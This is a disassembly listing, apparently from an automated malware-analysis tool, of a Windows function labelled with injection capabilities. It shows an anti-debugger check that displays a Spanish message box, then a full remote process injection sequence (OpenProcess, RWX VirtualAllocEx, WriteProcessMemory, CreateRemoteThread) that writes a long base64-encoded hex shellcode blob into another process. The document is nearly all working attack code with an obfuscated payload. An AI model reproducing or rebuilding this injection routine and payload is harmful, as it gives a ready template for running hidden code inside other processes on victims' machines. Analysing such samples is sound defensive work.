Function at 0x140001540
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
call fcn.140001710
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
setne al
test al, al
je 0x140001589
mov r9d, 0
lea r8, str.HOLA
lea rax, str.ESTOY_EN_UN_DEBUGGER____
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
jmp 0x14000164d
mov r8d, 0x21d8
mov edx, 1
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1761
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9d, 0x1761
lea r8, str.XHgxMlx4MzZceDI4XHgyRFx4MTJceDM2XHg3QVx4NzZceDEyXHgzNlx4NzZceDdEXHgxMlx4MzZceDJCXHg3QVx4MTJceDM2XHgyOFx4N0VceDEyXHgzNlx4MkJceDc2XHgxMlx4MzZceDJEXHg3RVx4MTJceDM2XHg3RVx4N0VceDEyXHgzNlx4N0VceDdFXHgxMlx4MzZceDdFXHg3RVx4MTJceDM2XHg3QVx4N0ZceDEyXHgzNlx4N0JceDdGXHgxMlx4MzZceDdBXHg3Rlx4MTJceDM2XHg3Qlx4N0VceDQ0XHgxMlx4MzZceDdCXHg3Q1x4MTJceDM2XHg3Qlx4N0ZceDEyXHgzNlx4N0JceDc4XHgxMlx4MzZceDdBXHg3Nlx4MTJceDM2XHg3RFx4N0ZceDEyXHgzNlx4MkFceDdDXHgxMlx4MzZceDc4XHg3Qlx4MTJceDM2XHg3QVx4NzZceDEyXHgzNlx4NzZceDJDXHgxMlx4MzZceDdCXHg3Q1x4MTJceDM2XHg3OFx4N0VceDEyXHgzNlx4N0FceDc2XHgxMlx4MzZceDc2XHgyQ1x4MTJceDM2XHg3Qlx4N0NceDQ0XHgxMlx4MzZceDdGXHg3Nlx4MTJceDM2XHg3QVx4NzZceDEyXHgzNlx4NzZceDJDXHgxMlx4MzZceDdCXHg3Q1x4MTJceDM2XHg3Q1x4N0VceDEyXHgzNlx4N0FceDc2XHgxMlx4MzZceDc2XHgyQ1x4MTJceDM2XHg3OVx4N0NceDEyXHgzNlx4N0JceDdFXHgxMlx4MzZceDdBXHg3Nlx4MTJceDM2XHg3RVx4MjhceDEyXHgzNlx4MkNceDc5XHgxMlx4MzZceDdBXHgyRlx4MTJceDM2XHg3QVx4MkZceDQ0XHgxMlx4MzZceDdBXHgyQVx4MTJceDM2XHg3RFx4N0ZceDEyXHgzNlx4MkRceDc3XHgxMlx4MzZceDdBXHg3Nlx4MTJceDM2XHg3RFx4N0ZceDEyXHgzNlx4MkRceDdFXHgxMlx4MzZceDJGXHgyRFx4MTJceDM2XHg3RFx4MkRceDEyXHgzNlx4NzhceDdGXHgxMlx4MzZceDc5XHgyRFx4MTJceDM2XHg3RVx4N0NceDEyXHgzNlx4N0NceDJEXHgxMlx4MzZceDdDXHg3RVx4MTJceDM2XHg3QVx4N0ZceDQ0XHgxMlx4MzZceDJEXHg3Rlx4MTJceDM2XHgyRFx4NzdceDEyXHgzNlx4N0VceDJBXHgxMlx4MzZceDdBXHg3Rlx4MTJceDM2XHg3RVx4N0ZceDEyXHgzNlx4MkRceDdGXHgxMlx4MzZceDJCXHg3Q1x4MTJceDM2XHgyQlx4MkFceDEyXHgzNlx4N0JceDdDXHgxMlx4MzZceDdBXHg3Rlx4MTJceDM2XHg3Qlx4N0ZceDEyXHgzNlx4N0FceDc2XHgxMlx4MzZceDc2XHgyQ1x4MTJceDM2XHg3Qlx4N0NceDQ0XHgxMlx4MzZceDdDXHg3RVx4MTJceDM2XHg3Nlx4MkNceDEyXHgzNlx4N0FceDdDXHgxMlx4MzZceDdEXHgyRFx4MTJceDM2XHg3QVx4NzZceDEyXHgzNlx4N0VceDdGXHgxMlx4MzZceDJBXHg3RVx4MTJceDM2XHg3Nlx4MkNceDEyXHgzNlx4NzZceDdFXHgxMlx4MzZceDc2XHg3Nlx4MTJceDM2XHg3RVx4N0VceDEyXHgzNlx4N0VceDdFXHgxMlx4MzZceDdFXHg3RVx4MTJceDM2XHg3QVx4NzZceDQ0XHgxMlx4MzZceDc2XHg3Qlx4MTJceDM2XHgyRFx4N0VceDEyXHgzNlx4NzlceDdBXHgxMlx4MzZceDc4XHg3OVx4MTJceDM2XHg3QVx4NzZceDEyXHgzNlx4N0VceDdGXHgxMlx4MzZceDJBXHg3RVx4MTJceDM2XHg3Qlx4N0VceDEyXHgzNlx4NzZceDJDXHgxMlx4MzZceDdBXHg3Nlx4MTJceDM2XHg3Rlx4NzZceDEyXHgzNlx4N0FceDdBXHgxMlx4MzZceDc2XHgyQ1x4MTJceDM2XHg3QVx4N0VceDQ0XHgxMlx4MzZceDdDXHg3RVx4MTJceDM2XHg3QVx4NzdceDEyXHgzNlx4N0VceDdGXHgxMlx4MzZceDJBXHg3RVx4MTJceDM2XHgyQlx4N0RceDEyXHgzNlx4N0JceDc4XHgxMlx4MzZceDdBXHg3Nlx4MTJceDM2XHgyOFx4MjhceDEyXHgzNlx4MkRceDc3XHgxMlx4MzZceDdBXHg3Rlx4MTJceDM2XHg3Nlx4MkNceDEyXHgzNlx4N0RceDdBXHgxMlx4MzZceDc2XHg3Nlx4MTJceDM2XHg3QVx4NzZceDQ0XHgxMlx4MzZceDdFXHg3Rlx4MTJceDM2XHgyQVx4NzhceDEyXHgzNlx4N0FceDJBXHgxMlx4MzZceDdEXHg3Rlx4MTJceDM2XHgyRFx4NzdceDEyXHgzNlx4N0FceDc2XHgxMlx4MzZceDdEXHg3Rlx4MTJceDM2XHgyRFx4N0VceDEyXHgzNlx4MkZceDJEXHgxMlx4MzZceDdBXHg3Rlx4MTJceDM2XHgyRFx4N0ZceDEyXHgzNlx4MkRceDc3XHgxMlx4MzZceDdFXHgyQVx4MTJceDM2XHg3QVx4N0ZceDQ0XHgxMlx4MzZceDdFXHg3Rlx4MTJceDM2XHgyRFx4N0ZceDEyXHgzNlx4N0RceDc2XHgxMlx4MzZceDJCXHg3RVx4MTJceDM2XHg3OVx4N0JceDEyXHgzNlx4MjhceDdGXHgxMlx4MzZceDdBXHgyRFx4MTJceDM2XHg3RVx4N0RceDEyXHgzNlx4N0FceDJEXHgxMlx4MzZceDdDXHg3QVx4MTJceDM2XHg3RVx4NzZceDEyXHgzNlx4N0FceDdCXHgxMlx4MzZceDdEXHg3N1x4MTJceDM2XHgyQVx4N0ZceDQ0XHgxMlx4MzZceDc5XHg3Qlx4MTJceDM2XHgyQVx4NzZceDEyXHgzNlx4N0JceDc2XHgxMlx4MzZceDdBXHg3QVx4MTJceDM2XHg3Nlx4MkNceDEyXHgzNlx4N0FceDdFXHgxMlx4MzZceDdDXHg3QVx4MTJceDM2XHg3QVx4NzdceDEyXHgzNlx4N0VceDdGXHgxMlx4MzZceDJBXHg3RVx4MTJceDM2XHg3OFx4NzhceDEyXHgzNlx4N0FceDdGXHgxMlx4MzZceDc2XHgyQ1x4MTJceDM2XHg3RVx4MkRceDQ0XHgxMlx4MzZceDdBXHg3Nlx4MTJceDM2XHg3QVx4N0FceDEyXHgzNlx4NzZceDJDXHgxMlx4MzZceDdBXHg3RVx4MTJceDM2XHg3Rlx4MkRceDEyXHgzNlx4N0FceDc3XHgxMlx4MzZceDdFXHg3Rlx4MTJceDM2XHgyQVx4N0VceDEyXHgzNlx4N0FceDdGXHgxMlx4MzZceDc2XHgyQ1x4MTJceDM2XHg3RVx4N0FceDEyXHgzNlx4NzZceDc2XHgxMlx4MzZceDdBXHg3Nlx4MTJceDM2XHg3RVx4N0ZceDQ0XHgxMlx4MzZceDJBXHg3RVx4MTJceDM2XHg3QVx4N0ZceDEyXHgzNlx4N0JceDc2XHgxMlx4MzZceDdBXHg3Rlx4MTJceDM2XHg3Qlx4NzZceDEyXHgzNlx4N0JceDJCXHgxMlx4MzZceDdCXHg3N1x4MTJceDM2XHg3Qlx4MkZceDEyXHgzNlx4N0FceDdGXHgxMlx4MzZceDdCXHg3Nlx4MTJceDM2XHg3QVx4N0ZceDEyXHgzNlx4N0JceDc3XHgxMlx4MzZceDdBXHg3Rlx4MTJceDM2XHg3Qlx4MkZceDQ0XHgxMlx4MzZceDdBXHg3Nlx4MTJceDM2XHg3Nlx4N0RceDEyXHgzNlx4MkJceDJEXHgxMlx4MzZceDdDXHg3RVx4MTJceDM2XHg3QVx4N0ZceDEyXHgzNlx4N0JceDdDXHgxMlx4MzZceDI4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x60
pop rbp
ret